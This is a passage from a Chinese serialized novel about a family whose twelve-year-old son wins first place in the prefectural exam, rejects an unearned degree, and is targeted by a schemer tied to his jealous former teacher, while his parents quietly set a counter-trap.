“乖崽,你爹是大人了,能照顾好自个儿,也能照顾好平安的。你可莫要想这些了,早些好起来,阿奶给你蒸酥酪吃,擱两大勺桂花蜜呢!” “阿奶,你真好……”药劲儿上来,慢慢便在苗娘子的轻拍中,睡了过去。 “爹爹,教您受累了。”平安躺在床里,被子里还搁了汤婆子,由着贺景喂药。 “这是甚话?爹照顾你,不是应当的麽?”贺景喂平安喝了药,又端了白开水来,瞧着平安漱了口,又将小孩儿裹好,塞回被窝里去。 贺景先前的担忧成真了,第三场考完后,他接了平安出来,先还瞧着好好儿的。 可这孩子夜里却发起热来,浑身滚烫。 幸而他提前备了药,又熬好了备用,夜里灌下去,盯着平安瞧了一宿。 翌日,天还未亮,坊门一开,他便驾着骡车,拉着平安去医馆。 他是头一个到的,大夫扎了针,又重新开了方子,熬来药给平安灌下去。 这才将这股子来势汹汹的病情给压下去,没教孩子反复发热。 这两日,贺景瞧着客栈里的学子多是带病,便将院门一关,轻易不教旁人靠近,连饭食都是端到屋子里用的。 直到今日,平安瞧着才精神些。 平安浑身软绵绵的,实在提不起力气来,又觉着自个儿老大一个人了,还像是小时候一样教爹爹这样照顾着,愈发不好意思。 生病多思,平安一时想着要快些好起来,不能教爹爹如此辛苦;一时又有些想家;且一向心态颇稳的平安,居然还忧思起成绩来。 他在考场时,并未染病,脑子清明,自觉答得不错。 可府试一千多人,只取二百来人,他若是落榜,不是愧对爹娘夫子麽? 贺景怎会瞧不出来这孩子在想甚。 他拍拍平安:“莫要多思,你这几日好好养着,还有六日便会放榜。咱们瞧了榜,隔日便早早启程家去,你阿爷阿奶,娘亲妹妹定然想你了。若是耽搁了,不是教他们忧心麽?” 院试初九考完,十九出成绩。 平安病了几日,此时已是四月十三,放榜后,若是平安好全了,贺景是预备着廿十一早,便启程家去的。 平安听了这话,赶紧闭了眼,道:“爹爹,我休息了,我今儿要吃一大碗鲜肉小馄饨,定然能快快痊愈的!”—— 作者有话说:老大一个人的平安,其实生病得挂儿科 第119章 自四月廿十这一日起, 林真便会早晚都往城门口晃一圈儿。 她自是晓得四月十九才放榜,賀景出发前,便同家里说好了, 瞧过了榜单再往回趕。 可凡事都有个万一不是? 万一这爷俩思念家人,想早些家来呢? “唉!今日还是没能等到爹爹和哥哥。”慢慢叹了一口气,靠近林真,“娘亲, 我有些, 不, 我很想很想爹爹和哥哥。” 林真摸了摸慢慢小鬏鬏上的绒花,道:“还有三日呢。” 慢慢仰着臉:“娘亲,你想爹爹么?想哥哥么?我好想好想,昨日, 我还梦见爹爹和哥哥了呢!也不晓得爹爹和哥哥会不会想我。” 想啊,怎会不想呢? 她从前出去跑商的时候便很是思及家人, 这才下决心将毕老弄回来。后头采买货物, 便多往明州去, 走水路,一程不过十来日。 可今朝, 賀景与平安出去, 已满一月, 她如何能不想呢? 林真没继续这个话题, 只问慢慢:“那你梦见哥哥和爹爹,都在作甚呢?” “爹爹给我剥大虾吃, 哥哥陪我玩儿蹴鞠呢!”慢慢高兴起来,细数梦中的情景。 林真牵着她往家走,晃悠着她的小手, 道:“那今日教吴麽麽给你炸虾球,娘亲陪你玩蹴鞠好不好?” “好啊,好啊!我晚上还与娘亲一道睡!” …… 廿二一早,林家众人聚在偏厅吃朝食。 林屠戶三两口吃完,放了碗筷便要出门去。 府試十九放榜,地方县城上,通常都要晚个两三日,按照距离路程来看,时间不定,慈溪县距府城约莫有三日路程,大概率是在明日才放榜。 可林屠戶不覺着,他振振有词:“官差都走驿站,又骑快马,許是要快些,说不得就是今日。” 他早早便与长乐说好了,这两日都早些出门去,占个好位置,瞧仔细些,莫看岔了。 林真是劝不动她爹的,只能随他去,顺便看住滴溜溜轉着大眼睛的慢慢。 “细嚼慢咽,咱出门的时辰还早呢!” 慢慢咽下嘴里的肉馒头后,问道:“我今儿能与阿爷一道出门么?” “不能。”林真果断搖头。 慢慢便去瞧林屠戶,可怜兮兮道:“阿爷。” 林屠戶摸摸头,瞧了‘铁石心肠’的女儿一眼,只能轉过头来哄孙女儿:“乖崽,你今儿还陪着你娘。阿爷家来,给你带酥山吃。” 慢慢叹了一口气:唉!都说小孩儿应当听大人的话,可娘亲却不听阿爷的话,真真是難办啊。 她忧愁得点点头,又宽慰林屠户:“阿爷慢些,我不急着吃酥山的。” 林屠户稀罕得跟什么似的,趁着女儿不注意,又给孙女儿塞了一串钱,許诺了一大堆吃食才出门去。 他带着长乐,才走到巷子口,整好碰上一幫闲。 幫闲一瞧见林屠户,便拱手道喜:“林大爷!恭賀贵府郎君蟾宫折桂,喜提府試头名,連中双元,前途无量啊!” “甚?!” 林屠户先是被帮闲口中的‘林大爷’一惊,后头听见自家平安連中两元,更是惊得找不着北。 他喃喃道:“果真?你莫不是哄我?今朝放榜怎如此早?这才两日呢!” 帮闲坐揖,笑着道:“哎呦呦,我怎敢哄您呢?那红榜就贴在考场的南墙下头,您一瞧就晓得的!” 他面上带着笑,恭维道:“放榜之日这样快,全赖您家的麒麟儿夺得府試案首呀!咱慈溪出了案首,报榜的快马,定然是头一个出发的呀!” “是,你说得很是。”林屠户笑得合不拢嘴,摸出自个儿的钱袋来,将里头的铜子儿都倒出来,一股脑儿全塞给帮闲。 “難为你跑一趟,拿去喝茶,解解渴。” 帮闲笑眯眯接过,手一掂,就晓得少不了,自然又是一连串的吉祥话。 待人走后,林屠户喚长乐趕緊去瞧一眼,他家去给林真报喜。 对了,他先前偷摸买的那挂鞭炮,也不晓得能不能放。 鞭炮自然是没得放的,不过林屠户也不气馁,长乐回来后,自个儿往考场那头去,在南墙的布榜栏下,站了许久。 这回的红榜是长案,案首更是显眼。 第一張第一个名字,就写平安的大名和籍贯:林弘安,明州慈溪,年十二。 林屠户乐呵呵回家时,瞧见自家门前停着的骡车还挺眼熟,主要是那大灰骡子,瞧着怎恁像是他家的呢? “哎呦,您可回来!”长乐出门来,整好瞧见林屠户,趕緊上前,“賀东家和小郎君都家来了,林东家喚小人来寻您呢!” “甚?我乖孙儿家来了?哎呦,难怪今日喜鹊叫两回呢!” 林屠户赶紧进去,果然瞧见一月不见的贺景与平安。 他拉着平安瞧:“怎瞧着瘦了呢?我乖孙儿受苦了!” 这样的话,阿奶和娘亲都说过,平安此时瞧着阿爷,也很欢喜,照样哄道:“想家想的,想念阿爷,也念叨着家里的好吃食。” 平安在外一月有余,着实思念家人,且在外头装了许久的小大人,一朝家来,便不自覺撒娇。 一家子都被哄得团团转,張弄吃食、烧热水、换洗衣裳…… 忙忙碌碌,好不热闹。 原是有许多话要说,可此番算算时间,就晓得父子俩定然是一路急行,便是再不舍,也只得唤他们先去休息,有甚话都明儿再说。 慢慢眨巴着大眼睛,很是不舍,林真干脆将这小粘人精抱到自个儿屋子里,一道睡。 慢慢很是兴奋,可又觉着哥哥有些可怜:长大可真坏。 等哄睡了人,林真瞧着贺景,伸手摸他的臉:“你也瘦了,可见辛苦。怎这样急着赶路?也不爱惜着身子。” 贺景偏头,将林真的手压。在脸下:“是有些累,可想着能家来见你,就值得。” 林真捏他的脸:“少油嘴滑舌,说实话。” “怎这样伤人呢?” …… 倆人顽笑几句,贺景便细细说了府试之事,连平安生病之事也没瞒着。 他与林真,自来便不曾小瞧过对方,不曾有事儿瞒着。 “这回平安得中府试案首,我原是打算隔日一早再出发的。可府城能耐人多,上门道喜的,打探婚配的……比比皆是,我与平安,实在是不堪其扰。” “咦?平安恁小,此时榜下捉婿,也太早了罢?” “谁说不是呢?总之,闭门谢客都不清净。可也正是因着这案首,不过晌,便有一支商隊递了消息来,说他们商隊整好要经过慈溪,若是不嫌弃,可与他们同行。我去一瞧,百人的商队,镖师个个儿精悍,自是不惧有时要在外头过夜。此时巡防的兵丁也多,我与平安着实受不住恁多人来搅扰,便与他们同行。” 林真拍拍他:“辛苦你了,可明儿起,咱还得应付来贺的人呢。” 府城已是如此,在慈溪,只怕会更夸张,明日,可得打起精神来。 翌日,果然不出林真所料,自辰时起,长乐那头就没消停过。 幸而林真早有叮嘱,他便客客气气将寻常没有来往的人家都請出去。 “谢过诸位的贺,只主家现下不在家中,教诸位白跑一趟了。他日主家办席,請携了帖子上家里来吃杯薄酒,一同欢喜。” 来贺的人便都晓得,这是只请有帖子的人家,像是这般没有交集又不请自来的,主家是婉拒了。 长乐此番也不算扯谎,林家众人,确实是回乡下去了。 此番得中,勉强算是入了门儿,能有个红皮子烫金印的童生文书,自然得在乡里庆贺一番。 左右都要庆祝,林家众人想躲清静,便早早回了枣儿村,与族长商量办席的事儿。 此番行事,倒是教枣儿村众人觉着林家稳得住,不拿乔。 “怎没瞧见我林家的小童生郎呢?”有一族老问道。 平安得中院试案首,连中双元,秀才功名是定然到手的事儿,且他如此年幼,举人功名也是能想一想的。林氏族人怎能把持得住,个个都是飘飘然。 林真笑着道:“您老眼儿明,平安今日一早便去拜访夫子了。” “哎呦,是得去拜访夫子,还是真姐儿有眼光,给咱家的小魁星寻得好夫子。” 林真赶紧道:“哪儿的话,您可别这样夸他,他还年幼,又只是个童生,可当不得魁星的赞。” “哎呦,真姐儿莫要谦虚。我是听说了的,府试的头名,也就是咱家平安这名儿,是不必经过院试便能授予秀才功名的,这可是实实在在的的魁星!怎就不能说了?”族老确实越说越欢喜,十二岁的秀才,他林氏有望! 林真皱眉:“我倒是不曾听说过这些,您老是从何处听来的?” 这股子风气,瞧着可不对劲儿,她得寻有文叔,出手压一压才好。 …… “你是如何想的?”徐夫子搖着扇子问。 平安起身,端正一礼:“学生不才,这秀才的功名,想自个儿考。” 徐夫子扇子微微一顿,又道:“可想好了?难得县尊大人与知府大人有旧,这案首直接授予秀才功名的事儿,也是有例可循,当真要自个儿考?” 平安摇摇头,道:“夫子,学生愚钝,这般一蹴而就取得功名,只觉心中难安。不若稳扎稳打,凭自个儿手中之笔,一字一句考下来的功名来得踏实。” 徐夫子盯着平安细瞧,忽而扔下扇子,抚掌大笑。 “哈哈哈!好,好,好!不愧是我云壑客的弟子!” 平安眼睛一亮,赶紧举起双手,高举齐额,再一揖到底。 “师傅在上,请受弟子一拜!” 徐夫子笑着扶起平安,温和道:“且先与你三日假,了却俗事后,便与为师闭门读书罢。”—— 作者有话说:平安:补习班来了 第120章 枣儿村的宴席最终在林真的坚持下, 只辦了一天。 族老原先是想辦三天的流水席,林真死活不同意:这时候是出风头了,可平安的名声如何是好? 还有先前那魁星的说法, 林真始终觉着不安心,当即便去寻了林有文。 “族老欢喜要庆賀,我很是感激。只平安小小一童生,且算不得正经功名, 哪里能如此大办?这些年日子好了, 讀书的人家多了許多, 县里秀才举爺不少,平安这点子成绩,哪里够看的?可我打眼瞧着,族人这行事, 比举爺家的族人还张扬,您且管一管罢。”林真直言不讳。 林有文皱眉, 道:“族里許久没出这样的喜事儿了, 族老欢喜些也算人之常情。我曉得你的顧虑, 真姐儿放心,且教族人将这股子欢喜劲儿撒一撒, 过了这几日, 我自会出手约束族人。” 林真点头, 对这位族长, 她还是很放心的。 而林氏的喜事儿不止这一件,另一桩, 是真喜事。 林弘川要成亲了,对象是县里的富户。 林弘川已二十有一,十七岁中了秀才后, 他也去参加过乡试。 可这一去,才曉得举人为何如此金贵。 大虞足有十二省,一百五十个府,二百二十州,像是枣儿村这样的村落更是不计其数。 院试三年两次,大虞的秀才便如天上的星子,数都数不过来。 而这些秀才,每三年,便会全集中在京都,去爭夺那两百来人的举人名次。 举业之艰,可见一斑。 且乡试一途,竞爭的可不止是学识。 路上所经周折便不说,单单是钱财一项,就难倒許多人。 譬如林弘川,他得中秀才后,生活虽有些改善,可显然还没到能不顧花销,多次参与乡试的程度。 他只参加过一次乡试,丁卯年的这一场乡试,是家里积攒许久,又得族人相助,才筹来的路資。 他从京都回来后,便定了决心娶妻。 他这样的贫家子,天資不足以让他脱颖而出,得县学教谕、训导的亲眼,若是想靠着自个儿的努力,考中举人,无异于痴人说梦。 可他不甘心,他今年才二十出头,若是教他此时放弃举业,那是剜心之痛。 如此,他唯一的筹码,便只剩下自身的亲事。 一门好亲,有太多太多的助力了。 娶妻后,妻子能帮着照顾阿奶,也能让他不需为生计奔波,耗费精力,还占去他许多讀书的时间。 林弘川目标明确,很快就与富户王家看对了眼。 王富户瞧中林弘川的才情,觉着此子可资;林弘川看中王富户的厚嫁;至于中间真正的当事人,王小娘子,瞧着林弘川皮囊不錯,家里人口简单,便一口应下此事。 雙方都有意,林弘川的亲事办得很快,都没等秋收之后,才入了秋,天还没转凉,王小娘子携着十里红妆,嫁入林家。 彼时,距离平安連中雙元,才将将过去两月。 林真收到帖子的时候,人都是懵的。 可家里一向与林弘川交情不錯,六月廿十,一家子便早早回去了,撸起袖子去帮忙。 廿一那日,还接了平安来吃席。 平安自四月底跟着徐夫子闭门苦讀,整个儿人便越发清瘦。 家里换着花样给制吃食,平安胃口也挺好,夜里读书还要吃一碗小馄饨或鱼丸汤的,可这么些东西喂下去,个儿高了,身上的肉却没了。 新制的襕衫,挂在身上飘飘然。 卯初起,人定歇,要不是徐夫子也是这个作息,林真都要怀疑这丫的是在虐待平安! 哪有凌晨五点起床,晚上九点才歇的? 且,要不是自家在栖迟巷置了宅子,徐夫子是要将人直接薅走的! 听平安说,徐夫子晓得家里住栖迟巷时,还满脸可惜,问他家里可有人相送,若是无人接送,倒不如住在他那头得好。 家里一听,林屠户先跳起来了:“不成,不成,家里住得这样近,哪里能麻烦老師!家里人恁多,我就能接送平安!” 他乖孙近来读书用功,每日也只有一家子围着吃饭时才能多瞧两眼,这要是住在夫子家去,他哪里去瞧他乖孙? 林真也不樂意,孩子与父母相处的日子就这些,孩子一不留神就长大了。 那时自是要放手,要给孩子自由。 可此时教她撒手,她可不愿意。 林真当即便去了钱牙婆那头,给平安挑人。 “也不独独是为着你,家里人手少,一有些甚事儿便觉忙乱。你瞧瞧长樂,此番可是忙壞了?” 家里便又添了三人。 两男一女,壮年男子喚长顺,平日里管骡车,再跟着长乐搭把手;女使喚春锦,跟着林真;束发孩童,是平安的书童,由着平安唤他敛月。 吃席这日,林真一家,带着平安来时,很是引起了一阵儿热闹。 林真家里现是妥妥的大户,平安連中双元的热闹才过去不久,此番出现,着实引人注目。 别说枣儿村众人了,便是今日的主角——林弘川,都是一喜。 他连忙迎上来,先是与林屠户、林真等长辈见禮,又拉着平安说话:“平安也来了,多谢你来賀我。晓得你近来苦读,竟还特意告假来吃我的喜酒。” 平安一笑道:“幼时跟着族兄读过书,那时族兄多是照顾我,此番人生得意时,我怎能不来賀?” 他捧着一盒子,双手呈上:“弟身无长物,只能以手抄的两本书相賀,还望族兄莫要嫌弃。” 林弘川心口砰砰直跳,他是晓得平安跟着徐夫子读书的,徐夫子离开县学许久,可他在县学读书,竟还能听得师长提及。 足见徐夫子,有大才! 此时平安送来的手抄本,定然是徐夫子那头的藏书! 说不得,还有徐夫子的注解! 林弘川没忍住,趁着无人时,飞快打开盒子瞟了一眼。 竟是《郑笺》与《孔疏》![1] 他与许多贫家子一样,本经治《诗经》,这两本,都是前朝大家对《诗经》的扩编注解! 县学的藏书阁自然也有,可藏书阁规矩严,又有许多人排着队的等着借阅抄写,他入学多年,也只抄了《毛诗诂训传》。 这两本,一直没机会抄写。 平安这禮,可是送达他心坎上了! 林弘川只匆匆一瞥,便唤来长随,叮嘱他将这两本书,好生放去书房,还要落锁! 若是能脱开身,他是想亲自去的。 长随是王家早先送与林弘川的,还是头一次瞧见姑爷,不,大爷这郑重严肃的模样。 心里一凛,自是晓得轻重,小心接了过来,一路捧着往书房去了。 平安偏头,瞧见林弘川的模样,心里微叹:无书可读,这便是贫家子举业艰难的另一层关窍了。 他随即偏头,瞧见爹爹,心里一暖:他比族兄好太多,有爹娘亲人费心打算,几经周折求得名師。 如此,他更要努力!决不能辜负爹娘亲人的付出。 一转头,瞧见廖夫子,平安很是有礼的躬身行礼。 可他并不多话,行礼过后便自顾自的去寻爹爹。他晓得廖夫子先前对着娘亲,多有冒犯,自是不愿与他多作寒暄。 廖夫子见此,面上一僵,心中不快。 在他看来,他是平安师长,便是先前有些冒犯之举,也全然是为了这孩子的前途着想!平安无论如何,都不能如此冷待他! 贺景辈分儿不够,又是上门婿,便是这些年林家发家,可也没能与廖夫子坐一桌。 可他座位也不差,离得近,稍稍一偏头,便瞧见廖夫子面有异色。 顺着廖夫子的目光一瞧,贺景还有甚不明白的? 可当下不好发作,只能按捺下来,等着家去,再与真姐儿商量一番。 “你是说,廖夫子瞧着平安的眼神不对劲儿?”林真皱眉,“他自个儿冒犯在先,我们没与他计较便算了,他还有脸对平安有意见?” 林真不可置信,廖夫子这是甚么神奇的脑回路? “这些年被村人捧着,廖夫子早已不是当年的模样了。”贺景拿剪子剪烛芯,“他此前就指望着平安再考得一秀才,好教他名声更显,身价跟着水涨船高。可咱们将平安带走,拜入徐夫子门下,此番平安又如此争气,他只怕心里有怨。平安越是争气,他心里的不满便越是多。” 林真倒是不怀疑贺景的推断,贺景这揣摩人心的本事儿,甩她两条街。 可她还是没懂:“平安又不是他手里的物件,哪能任他摆布?且现今平安已入了徐夫子门下,徐夫子是举人,人脉又广,他不会这么想不开,要与徐夫子碰一碰罢?” 贺景一笑,摇摇头:“他自是不会,也没那个胆气。可现今盯着平安的人太多,咱家管得严,徐夫子也将平安护得好。可若是有心人朝廖夫子这头使劲呢?他怕是巴不得多说几句。” 平安连中两元,明年下场,只要不是太离谱,秀才的功名是板上钉钉的。 此番风头出大了,可也是惹眼,文人间的忌恨不容小觑。 徐夫子不是严师的路子,可还是一反常态,将平安时时刻刻提溜在身边,就怕平安小小年纪,遭了人的道。 林真皱眉:“这可不好办,廖夫子气量狭窄,咱家求和是不可能的。可嘴长在他身上,难不成还能教他不说话?” “咱们也只得小心防范着。把长顺唤回来,教他盯着廖夫子,瞧瞧有无生人靠近。他面生,廖夫子应当不会起疑心。” 林真有些烦躁,旁人对她使壞,她还能平常心应对,可对着平安使坏,她便火大。 “啧!还真是请了尊大佛回来!” “别怕,此番若能抓住他的错处,便能将人‘请’走。族里的后生和廖夫子,族人分得清远近。” 贺景拍拍她,又道。 “再说了,对咱家平安有信心些,他不是那等没有防范心的天真小儿。”—— 作者有话说:1 郑玄的《毛诗传笺》;孔颖达主编的《毛诗正义》《 》 120-130 第121章 平安只得了半日假, 翌日一早,便带着一食盒去了徐夫子处。 “嗯?去吃席,还给为師带了吃食, 不错不错。”徐夫子摇着扇子打趣。 平安将食盒打开,道:“老師莫要打趣我,这是今日家中麽麽制的吃食,老師瞧着可合胃口?” 一碗莲子粥, 一碟子藕粉桂花糖糕, 一碟子用葱油煎的东坡豆腐, 再有一小碟子新腌的醋芹。 瞧着便是精心准备的,哪里像是平安说得那样。 徐夫子嘴叼得很,近来暑气还未消散,他家里的厨娘又告假, 徐夫子近来胃口便不大好。 平安瞧在眼里,先是从自个儿的饭食里挑些好的给老師送过去, 后头记下老师的喜好后, 便会拜托吴麽麽专门烧了来。 是以, 徐夫子此时瞧着这格外顺眼的朝食,心情大好, 可还要嘴硬:“哎, 怎又在这些个小节上费心?墨竹到香满楼买朝食去了, 不肖你操心。” “侍奉师长也是大事。”平安自顾自摆好碗碟儿, 笑着道,“学生来时整好遇见墨竹了, 说了今日由学生负责老师的吃食。” 徐夫子净手后,施施然坐下来,箸儿先就朝着那碟子藕粉桂花糖糕去。 “你倒会给他省事儿。” 平安笑笑, 又是一礼,几步走到課室,自去温书去了。 他昨日瞧见弘川族兄待两本手抄本如此,更加体会到,如徐夫子这样的大儒,能收他为徒,又悉心教导,是多难得。 徐夫子吃完朝食,又歇了一会儿子,心情甚好,親自动手泡了一盏子清茶,慢悠悠饮了,才起身进了課室,拿了平安的文章点评。 一人教一人学,直到辰正,才又有其余学生来。 这么些年过去了,課室里有人走有人留,可徐夫子却不见多收学生,反而教墨竹又撤去两张书案,偌大的课室,只剩五张书案。 若是有人来打听,他便会捋着长髯道:“某年紀渐长,精力不济,为免误人子弟,课室若满,便不再另收学生。” 是以,平安的同窗,一直都只有五人。 这日午间小憩时,一姓张的同窗便与平安搭话:“林賢弟这些日子瞧着愈发轻减了,可见是下足了功夫苦读。可也要注意着劳逸结合啊。说来,賢弟似乎从未参加过文会,三日后有一文会,整好是休沐日,贤弟要不要去凑凑热鬧?” 似乎是怕平安拒绝,这张学子还补充了一句:“去的都是慈溪内读书上进的学子,多是秀才,老师这头的同窗,我都邀了。除了上官同窗有事儿无法赴約,其余都去呢!” 上官曜,便是当年与平安一同入学的学生,也是在考校中,教平安觉着难以望其项背的那位小公子。 他家学渊源,在课室从来都是独来独往,不与同窗多交流的,可人也确实有自傲的本事儿,十二岁便已取得秀才功名。 他不应約,是常态。 平安抬头,瞧着笑意盈盈的张同窗,想了想,道:“闭门造车确实是大忌,张同窗诚心相邀,平安岂有不去之礼?” 课室其他人都去,若就他不去,倒是显得他拜入老师门下便自恃身份,不与同窗来往似的。 张学子一笑,摸出怀中早早备下的帖子来:“实在是再好不过,这还是咱们同窗之间头一次聚得如此齐全呢!” 平安要出门,自然会告知父母长辈。 林真与賀景对视一眼,又问明此次为溪山雅集,确实是早早便筹备下的,参与的学子多是有望中舉的青年才俊。平安若不是小小年紀連中双元,且还收不到这样的帖子。 两人琢磨一番,便允了平安出门,只叮嘱道:“不可落单,还有,唤了长樂陪你去。敛月太小,娘和爹爹都不放心。” 平安自是点头应下,师傅和爹娘这些日子的小心谨慎他瞧在眼里,自然不会莽撞。 林家众人悬着心,可三日后的为溪山雅集,一点儿波折也无。 “此次雅集,牵头得是葉侍郎家的大公子,葉侍郎虽已致仕,可叶家不容小觑。明年秋闱叶家大公子要下场,此番是为自个儿造势,没人敢在这样的场合上鬧事儿的。” 平安家来时,瞧着爹娘眼中藏不足的担忧,不由开口解释,他眉眼弯弯,瞧着还是个小郎模样。 “师傅和爹娘的担忧,平安曉得一二,自不会将自个儿置于险地。此番出门,我早早便寻墨竹打听过了。” 林真与贺景俱是松了一口气,可随即便是心疼平安。 小小年纪,如履薄冰,还是怪自家门第太低,才护不住平安。 “也是我人小力薄,才教师傅爹娘如此忧心,娘親和爹爹放心罢,我不会教自个儿落单的。”平安道。 “这是怎说得?你还小,此时正是爹娘应当护着你的时候,譬如幼鹰,即便后来如何翱翔于天,幼时也是教雌鹰护在羽翼下的。” 平安心里酸酸软软,不由得靠过去,娘亲和爹爹总是如此,他何其有幸,能托生为爹娘的孩儿。 “倒是有一人挺奇怪。”温情不过一小会儿,平安便皱眉,“他说自个儿曾与廖夫子有旧,我自然同他寒暄几句。可他言语之间倒不是多尊重廖夫子,还说廖夫子功利,总想借着学生扬名,可其实不如何会教书,只一味严苛,格外奉信严师出高徒那套。” 平安有些心有余悸:“那人的口舌好生厉害,若不是爹娘早早透了口风与我,只怕我此时已引他为知己了。” 发觉廖夫子有异后,林真思虑良久,还是选择将此事告知平安。 就像賀景说得,平安不是天真小儿,他心性坚定,人生路上的这些磕磕盼盼总要教他曉得一二才好。若不然,长大后的平安白纸似的,那时再独自去面对外头的风雨险恶,岂不是会吃大亏? 此时,林真格外庆幸自个儿一家人心有靈犀,都对家人付出了足够的尊重与信任。 早早通气,设下防范,才能教这些藏在背后的算计,显出形,落了空。 林真敲敲桌子,问道:“他可曾与你定了下次之约?” “不曾。”平安摇摇头,“他很是小心,連主动结识都不曾。若不是长樂提醒我,这人暗中打量我许久,我也以为他是与我初次相见。” 贺景道:“如此难缠,你们下次相遇,只怕会是‘巧遇’。” 果然,不过三五日,平安便巧遇了那周姓学子两次。 第一回 巧遇时,那周学子也不过与平安闲话几句便分开了;第二回巧遇,却偏偏是教平安碰见了他囊中羞涩的模样,还恰好教平安为他解了围。 如此一来二去,从互通姓名到‘至交好友’,不过十来日。 两人均是一副相见恨晚的模样,还时常约着一道去淘旧书、访名迹。 这日,正逢宝相寺大集,这是仿了京都大相国寺的市集,自是热闹非凡。 日用杂货、家具器物且不说,飞禽走兽、古玩字画、香药蜜煎等应有尽有,且一月只办一次,一次持续三日。 这三日,通宵达旦,灯火辉煌,连宵禁都取消了的。 近些年来,宝相寺大集,是一年里,除了元宵外最热闹的时候。 宝相寺近大殿前的那一片儿,是笔墨书籍、古玩字画等专专为文人设下的交易区,周浦便是带着平安来这处。 “安弟,这些个养鸟鬥鸡的,全是玩物丧志。你还小,可万万莫要被这些个奇巧之物迷了心智。”周浦带着平安经过山门内的珍禽异兽区,又经过一排排挂着五色彩球的浮铺摊子。 “还有这些个扑买**,更是沾也沾不得。” 平安憋着笑,肃着小脸点头:“嗯!我晓得的,咱们读书舉业,自是不能教这些个东西分了心神。” “很是,举业艰难,拼劲全力尚且不足,哪能教俗物分了心神?书中自有黄金屋,读书之乐,才是天下第一等的乐。”周浦口中说着大道理,心里却在愤懑。 这林家子,也忒过难缠! 原以为他小小年纪便连中双元,该是骄矜傲气,很好下手才是。可哪里想到,居然是这样滑不溜丢的模样? 吹捧他已试过,行不通;以为他古板端方定是教家里管得严,可此番诱了他来此,鬥鸡斗狗斗蛐蛐都瞧过了,扑买**也瞧过了,竟是都不在意? 周浦扫过小白杨似的平安,瞧其脸上还带着稚气,心中更是烦闷。 啧!若是再大些,引了他去那温柔乡,丝竹入耳,茶酒入口,青丝素衣好似月下仙子,柳眉微蹙教人心生怜惜…… 那时,他不信还搞不定这小子! 周浦一时心中发狠,盘算着再是不成,得先弄些淫词艳曲来…… “咦,好是靈动的鸟儿,竟是会吟诗!” 周浦冷不丁听见这句话,心中大喜,顺着平安的目光瞧过去。 果然瞧见一只红臆丹觜的大鸚鹉,毛色鲜亮,偏头晃脑,一双黑黢黢的眼珠子,瞧着好不灵动。 “鵝鵝鹅,鹅鹅鹅!曲项向天歌!!” 此时,那鸚鹉正昂着小脑袋,神奇十足的吟诗。 那小贩很是机灵,瞧见平安、周浦驻足,当下便过来,引着倆人喂食:“郎君瞧瞧,我这鹦鹉可伶俐得很!” 周浦巴不得引了平安在此,面上虽皱着眉,可手上却配合得很,接过小贩递来的勺子,添了一勺鸟食在那小巧的鸟碗中。 那鹦鹉竟不急着去啄食,先偏头:“多谢多谢,郎君玉树临风!” 说完,才一低头,啄食了碗中的鸟食。 周浦大为惊讶:“色若桃花语似人!不怪香山居士如此喜爱这鸟儿,竟是专专为它做诗,连五色鹦鹉都比下去了!”[1]—— 作者有话说:1 白居易《红鹦鹉》 晚了,滑跪[可怜] 第122章 “这鳥儿好生机灵!” 慢慢很是惊奇, “它竟会背诗呢!” “是啊,鹦鹉都会背诗了,咱们慢慢也得加紧些。”林真趁机说道。 随即便在心里叹气, 人,果然是会变成自个儿讨厌的样子。 她今朝也算是当了一回,自个儿原先覺着扫兴爱说教的家长。 可她也是实在没招了。 家里这两崽子,性子南辕北辙, 特别是在读书一事上。 平安读书能覺出樂趣;慢慢呢?她平日里很是乖巧, 但只要一沾了书本算盘, 她便要开小差。 转动着小脑袋,不是去瞅花儿便是去瞧小鳥。 若是上课的时间长了,盯着书本,小脑袋一点一点能睡过去! 不愧是在娘胎里, 听了平安读书就消停的崽。 林真没法子,整日编故事哄她认字打算盘。 母女俩的这点子温情, 自打林真开始辅导慢慢读书之后, 便被日渐消磨。 林真投降了, 此时情况不同,她心疼慢慢年幼, 想等着慢慢再大一些, 八。九十岁再送去学塾读书的。 可现在, 她是巴不得明日就能寻到一处合心意的学塾, 将慢慢打包送走! 可慈溪縣没有第二个仇娘子,慢慢的学堂, 还得慢慢打听着。 最近有些厌学的慢慢听了这话,瘪瘪嘴,道:“哼!我也能背的!只不似哥哥那样, 点心果子也不吃了,豆儿水也不用了,小球也不玩儿了!整日读书,人影子都瞧不见,瞧着好似个大呆瓜!” 慢慢越说越委屈,从前哥哥还会陪着她一道玩儿蹴鞠、投壶,可近来是压根儿找不着人了。 即便不读书的日子,家来了也捧着书,她有时去哥哥院子里喊他,邹麽麽也不让。 林真没想到自个儿一句话就教慢慢这样伤心,也是傻眼,这孩子一向是个豁达性子,整日樂呵呵的,少有这样伤心的时候。 平安也慌了,连忙去哄妹妹:“慢慢,哥哥近来课业重些,许久没陪你玩耍了。晓得是我不对,这才特意出门,想给你买些新鲜耍物来。你若是不喜这只红鹦鹉,那哥哥再去寻些别的来。” “不要!不要!” 恰在这时,那红鹦鹉也不知怎的,像是听懂了似的,大叫起来,扑棱着一双翅膀,豆豆眼泛着水光,瞧着好不可怜。 “扑哧!”慢慢一笑,露出一排小米牙来,“哥哥,它这样可怜又可爱,便留下它罷。” “谢谢小娘子!小娘子闭月羞花!” 这一打岔,倒是教气氛活络起来。 平安遂搖头晃脑,道:“郎君便是玉树临風,女娘便是闭月羞花。你倒是机灵,那小贩也没少费心思調。教你,这番属实是教我长见识了!” 别说是平安,晚间一家子围着那红鹦鹉都稀罕得很。 那鸟儿便愈发。抖擞,倒腾着一双细爪子在笼子里一搖一摆,林真瞧着,也觉着这鸟儿灵动异常。 “这样的奇巧珍禽,竟用在平安这小童身上,也着实是看得起咱家了。”林真眼中晦暗不明,缓缓开口。 “慈幼院的孩子盯了周浦许久,说他常往花枞坊那头去。今朝得了手,想来心里畅快,或是邀功或是寻。欢,近日應当会去,申镖头安排的人可去了?” 申镖头是威遠镖局那头的人,在镖局里混得么,自然是黑白都有些路子,三教九流的人,识得不少。 林真自来与申娘子关系不錯,平安连中双元后,不论是申娘子的娘家威遠镖局,还是杨家,都待林真更加热络。 林真花钱请人演戏,申镖头很是热切地揽下这件事儿。 “林娘子放心,我从外縣寻‘买卖人’,做局是他的老本行了。人滑手得很,溜得比兔子还快,保准教人寻不着。” 賀景听林真,便点头:“去了,我在茶肆里瞧见人了。廖夫子的家人也得了消息,算算日子,很快便会赶来了。” 林真站在廊下,夜色晦暗,天上只见黑云不见星子:“明日應当有雨,我倒是盼着这场雨下得再大些才好。” 賀景扯她进屋去:“起風了,咱进屋去罷,可别着凉了。” 没几日,城里出了一桩大乐子。 